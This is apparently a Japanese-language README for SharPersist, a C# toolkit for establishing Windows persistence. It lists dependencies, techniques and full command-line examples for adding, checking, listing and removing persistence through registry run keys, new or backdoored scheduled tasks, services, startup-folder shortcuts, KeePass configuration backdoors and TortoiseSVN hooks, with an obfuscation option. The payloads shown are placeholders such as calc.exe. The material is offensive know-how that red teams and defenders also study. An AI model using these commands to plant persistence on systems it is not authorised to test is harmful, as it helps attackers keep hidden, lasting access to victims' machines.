
レジストリキー、スケジュールタスク、サービス、スタートアップフォルダ、KeePass設定、TortoiseSVNフックを介してWindowsの永続化を確立・管理するためのC#ツールキット。
Windows用永続化ツールキット(C#で記述)。各テクニックの詳細な使用方法については、Wikiを参照してください。
作者 - Brett Hawkins (@h4wkst3r)
プロジェクトを自分でコンパイルするために、Visual Studioをセットアップするには、以下の手順を実行してください。これには、NuGetパッケージマネージャーからインストールできるいくつかの.NETライブラリが必要です。
このプロジェクトでは、以下のサードパーティライブラリを使用しています。
| ライブラリ | URL | ライセンス |
|---|---|---|
| TaskScheduler | https://github.com/dahall/TaskScheduler | MIT License |
| Fody | https://github.com/Fody/Fody | MIT License |
Install-Package Costura.Fody -Version 3.3.3Install-Package TaskScheduler -Version 2.8.11keepass - KeePass設定ファイルへのバックドアreg - レジストリキーの追加/変更schtaskbackdoor - 追加のアクションを追加してスケジュールタスクにバックドアを仕掛けるstartupfolder - スタートアップフォルダ内のlnkファイルtortoisesvn - TortoiseSVNフックスクリプトservice - 新しいWindowsサービスを作成schtask - 新しいスケジュールタスクを作成add - 永続化テクニックを追加remove - 永続化テクニックを削除check - 永続化テクニックのドライランを実行list - 永続化テクニックの現在のエントリを一覧表示env - レジストリ用の環境変数難読化のためのオプションアドオンhourly - schtask頻度用のオプションアドオンdaily - schtask頻度用のオプションアドオンlogon - schtask頻度用のオプションアドオンhklmrunhklmrunoncehklmrunonceexhkcurunhkcurunoncelogonscriptstickynotesuserinitKeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add
レジストリ
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
スケジュールタスクバックドア
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
スタートアップフォルダ
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add
Windowsサービス
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
スケジュールタスク
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly
KeePass
SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove
レジストリ
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove
SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env
SharPersist -t reg -k "logonscript" -m remove
スケジュールタスクバックドア
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
スタートアップフォルダ
SharPersist -t startupfolder -f "Some File" -m remove
Tortoise SVN
SharPersist -t tortoisesvn -m remove
Windowsサービス
SharPersist -t service -n "Some Service" -m remove
スケジュールタスク
SharPersist -t schtask -n "Some Task" -m remove
KeePass
SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check
レジストリ
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check
スケジュールタスクバックドア
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check
スタートアップフォルダ
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check
Tortoise SVN
SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check
Windowsサービス
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check
スケジュールタスク
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly
レジストリ
SharPersist -t reg -k "hkcurun" -m list
スケジュールタスクバックドア
SharPersist -t schtaskbackdoor -m list
SharPersist -t schtaskbackdoor -m list -n "Some Task"
SharPersist -t schtaskbackdoor -m list -o logon
スタートアップフォルダ
SharPersist -t startupfolder -m list
Windowsサービス
SharPersist -t service -m list
SharPersist -t service -m list -n "Some Service"
スケジュールタスク
SharPersist -t schtask -m list
SharPersist -t schtask -m list -n "Some Task"
SharPersist -t schtask -m list -o logon